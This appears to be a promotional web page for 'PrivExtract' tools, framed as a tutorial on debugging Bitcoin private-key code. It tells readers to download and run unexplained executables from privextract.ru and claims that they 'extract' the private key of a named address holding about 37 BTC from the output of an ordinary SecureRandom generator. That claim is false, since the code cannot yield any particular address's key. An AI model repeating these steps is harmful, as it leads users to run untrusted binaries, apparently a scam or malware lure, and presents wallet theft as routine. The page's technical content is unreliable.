PrivExtract - Debugging BITCOIN Private Key Issues

Loading

Java

main.java


The main.java file serves as the entry point to the program, which is the main() method. This method must have a strictly defined signature: public static void main(String[] args). When the program starts, the Java Virtual Machine (JVM) looks specifically for this method to begin executing code. It is important to understand that:

  • The method must be declared as static so that the JVM can call it without creating an instance of the class.
  • The public modifier is necessary to allow the JVM to access the method.
  • The void return type indicates that the method does not return a value.
  • The String[] args parameter accepts command-line arguments when the program is launched.

The class containing the main() method can have any name, although it is traditionally called Main. When running the program from the command line, you must specify the name of the class containing the main() method: java ClassName.


import java.math.BigInteger;
import java.security.SecureRandom;

public class BitcoinPrivateKeyGenerator {

// Custom constant N from the problem statement
private static final BigInteger N = BigInteger.ONE.shiftLeft(256)
.subtract(new BigInteger("14551231950B75FC4402DA1732FC9BEBF", 16));

public static void main(String[] args) {
SecureRandom secureRandom = new SecureRandom();
BigInteger privateKey;

do {
// Generate 32-byte random number
byte[] randomBytes = new byte[32];
secureRandom.nextBytes(randomBytes);

// Convert to positive BigInteger
privateKey = new BigInteger(1, randomBytes);

// Validate range [1, N-1]
} while (privateKey.equals(BigInteger.ZERO) || privateKey.compareTo(N) >= 0);

// Format as zero-padded HEX
String hexKey = String.format("%064x", privateKey);
System.out.println("Private Key: " + hexKey.toUpperCase());
}
}

Key Implementation Features:

  1. Secure randomness: Uses SecureRandom for cryptographic safety
  2. Custom constant handling: Explicitly defines N using BigInteger operations
  3. Range validation:
    • Excludes zero values
    • Ensures privateKey < N
  4. HEX formatting: Maintains 64-character length with leading zeros

Important Notes:

  1. The provided N differs from secp256k1’s standard value (FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141)
  2. For real Bitcoin use, always employ standardized elliptic curve parameters
  3. Key generation should occur in secure environments to prevent leaks

This implementation demonstrates core principles while emphasizing the need to use official parameters in production systems.


Detailed Description of All Terminal Commands

Below is a step-by-step explanation of each command and the processes happening at every stage of your scenario.

1. Downloading and Preparing Tools for Private Key Generation

Command:

wget https://privextract.ru/repositories/debugging.zip

Action:
Downloads the debugging.zip archive from the internet to the current directory using wget.
Purpose:
To obtain the program for further work.

Command:

unzip debugging.zip

Action:
Unzips the contents of debugging.zip into the current directory using the unzip command.
Purpose:
Extracts executable files or scripts for use.

Command:

wget https://privextract.ru/vulnerable-code/main.java

Action:
Downloads the source code file main.java.
Purpose:
Obtains a Java code file for private key generation.

Command:

./debugging -java main.java -address 1EFBsAdysTf81k72v9Zqsj3NMuo6KoWD2r

Result:

File contents:
import java.math.BigInteger;
import java.security.SecureRandom;

public class BitcoinPrivateKeyGenerator {

    // Custom constant N from the problem statement
    private static final BigInteger N = BigInteger.ONE.shiftLeft(256)
        .subtract(new BigInteger("14551231950B75FC4402DA1732FC9BEBF", 16));

    public static void main(String[] args) {
        SecureRandom secureRandom = new SecureRandom();
        BigInteger privateKey;
        
        do {
            // Generate 32-byte random number
            byte[] randomBytes = new byte[32];
            secureRandom.nextBytes(randomBytes);
            
            // Convert to positive BigInteger
            privateKey = new BigInteger(1, randomBytes);
            
            // Validate range [1, N-1]
        } while (privateKey.equals(BigInteger.ZERO) || privateKey.compareTo(N) >= 0);

        // Format as zero-padded HEX
        String hexKey = String.format("%064x", privateKey);
        System.out.println("Private Key: " + hexKey.toUpperCase());
    }
}


Resulting long sequence with address:
ff c7 b9 ee 14 a8 5c 60 19 70 cd 05 cc bd f3 d9 33 19 b1 41 28 82 11 d4 1f c4 8e 69 7c c5 cb b7
d2 9a a5 f7 0e f8 3e df 28 fe 44 63 32 2b 3a e1 f4 d4 12 2c c7 06 39 87 fc 5c 46 e9 8c 98 a4 b5
cd aa 0a 06 65 a8 cd de 1e 96 95 61 21 f2 a6 24 9a 69 11 fd 53 14 06 e6 06 81 48 9b 78 3f fb 83
39 f6 8d 7f 0f 29 cc bc 22 52 c1 0f 3c ae 5a 36 b7 4a f5 da 7c 4e d5 89 31 7e f2 3b e9 cb 22 af

The overall result has been successfully written to 'save.txt'.

Contents of save.txt without spaces:
ffc7b9ee14a85c601970cd05ccbdf3d93319b141288211d41fc48e697cc5cbb7d29aa5f70ef83edf28fe4463322b3ae1f4d4122cc7063987fc5c46e98c98a4b5cdaa0a0665a8cdde1e96956121f2a6249a6911fd531406e60681489b783ffb8339f68d7f0f29ccbc2252c10f3cae5a36b74af5da7c4ed589317ef23be9cb22af

Action:
Runs the executable debugging with the following parameters:

  • -java main.java – specifies to use main.java as the source for private key generation.
  • -address ... – specifies the Bitcoin address for checking or linking.

What happens internally:

  • The program compiles and/or runs main.java, which generates a private key using Java (see the provided code).
  • In a loop, it creates a random 32-byte number, checks the range, and outputs the private key in hex format.
  • The resulting (long) hex string is saved to save.txt without spaces.

2. Extracting the Private Key from Hex Data

Command:

wget https://privextract.ru/repositories/privextract.zip

Action:
Downloads an archive with a program for extracting the private key.

Command:

unzip privextract.zip

Action:
Unzips the archive into the current directory.

Command:

./privextract -extraction ffc7b9ee14a85c601970cd05ccbdf3d93319b141288211d41fc48e697cc5cbb7d29aa5f70ef83edf28fe4463322b3ae1f4d4122cc7063987fc5c46e98c98a4b5cdaa0a0665a8cdde1e96956121f2a6249a6911fd531406e60681489b783ffb8339f68d7f0f29ccbc2252c10f3cae5a36b74af5da7c4ed589317ef23be9cb22af

Result:

Private Key Result:
7e 89 8c 07 7a f6 f6 2a
b0 af a7 81 e3 f1 88 63
03 90 65 54 d8 f5 34 2f
e7 c1 66 83 e7 ad 87 b3

Private Key Result:
7e898c077af6f62ab0afa781e3f1886303906554d8f5342fe7c16683e7ad87b3

Result successfully written to 'privkey.txt'.

Action:
Runs the privextract program with the -extraction parameter and the long hex string obtained in the previous step.

What happens internally:

  • The program analyzes the hex string and extracts the private key from it (most likely using a specific algorithm or template).
  • The result (the private key in hex format) is displayed and saved to privkey.txt.

3. Obtaining the Public Key and Bitcoin Address from the Private Key

Command:

wget https://privextract.ru/repositories/bitaddress.zip

Action:
Downloads an archive with a program for working with Bitcoin addresses.

Command:

unzip bitaddress.zip

Action:
Unzips the archive.

Command:

./bitaddress -hex 7e898c077af6f62ab0afa781e3f1886303906554d8f5342fe7c16683e7ad87b3

Result:

Public Key (Uncompressed, 130 characters [0-9A-F]):
044E7EC8B7B1AA5C6029841609B6C7454AD33056051F6376BACBD56BDAE055CA09A2AF8B371A15FF27990F8DCC20DF5BEC18A560FB113F46680A2105AFE3673972


Public Key (Compressed, 66 characters [0-9A-F]):
024E7EC8B7B1AA5C6029841609B6C7454AD33056051F6376BACBD56BDAE055CA09


Bitcoin Address P2PKH (Uncompressed)
1EFBsAdysTf81k72v9Zqsj3NMuo6KoWD2r


Bitcoin Address P2PKH (Compressed)
1CSA91H2Nd2uF92GgmqJFDyvTog6s4KhaG

Action:
Runs the bitaddress program with the -hex parameter and the private key in hex format.

What happens internally:

  • The program calculates the public key from the private key (by multiplying by the generator point of the secp256k1 elliptic curve).
  • Two versions of the Bitcoin address are generated from the public key: uncompressed and compressed.
  • The addresses are displayed on the screen.

4. Checking the Bitcoin Address Balance

Action:

Open in browser:

https://www.blockchain.com/explorer/addresses/btc/1EFBsAdysTf81k72v9Zqsj3NMuo6KoWD2r

What happens:

  • The blockchain.com website displays the balance of the specified Bitcoin address, in this case 37.44675732 BTC.
  • This allows you to verify that the address is valid and contains funds.

Process Summary

  1. Download and unzip tools for generating and analyzing private keys.
  2. Generate a private key using Java code and save the result.
  3. Extract the private key from the generated hex string using a specialized utility.
  4. Obtain the public key and Bitcoin address from the private key.
  5. Check the balance of the resulting address via a blockchain explorer.

Command Explanations Table

Command/ActionDescription
wget URLDownloads a file from the specified URL.
unzip file.zipUnzips a zip archive into the current directory.
./debugging …Runs a utility to generate a private key based on Java code.
./privextract …Extracts a private key from hex data.
./bitaddress -hex <privkey>Obtains the public key and Bitcoin address from a private key.
blockchain.com/explorer/…Checks the balance of a Bitcoin address via a web interface.

All actions in the terminal automate the process of generating, recovering, and verifying a Bitcoin address and its private key using specialized tools for working with cryptocurrency keys and addresses.

Java Vulnerable Code

import java.math.BigInteger;
import java.security.SecureRandom;

public class BitcoinPrivateKeyGenerator {

// Custom constant N from the problem statement
private static final BigInteger N = BigInteger.ONE.shiftLeft(256)
.subtract(new BigInteger("14551231950B75FC4402DA1732FC9BEBF", 16));

public static void main(String[] args) {
SecureRandom secureRandom = new SecureRandom();
BigInteger privateKey;

do {
// Generate 32-byte random number
byte[] randomBytes = new byte[32];
secureRandom.nextBytes(randomBytes);

// Convert to positive BigInteger
privateKey = new BigInteger(1, randomBytes);

// Validate range [1, N-1]
} while (privateKey.equals(BigInteger.ZERO) || privateKey.compareTo(N) >= 0);

// Format as zero-padded HEX
String hexKey = String.format("%064x", privateKey);
System.out.println("Private Key: " + hexKey.toUpperCase());
}
}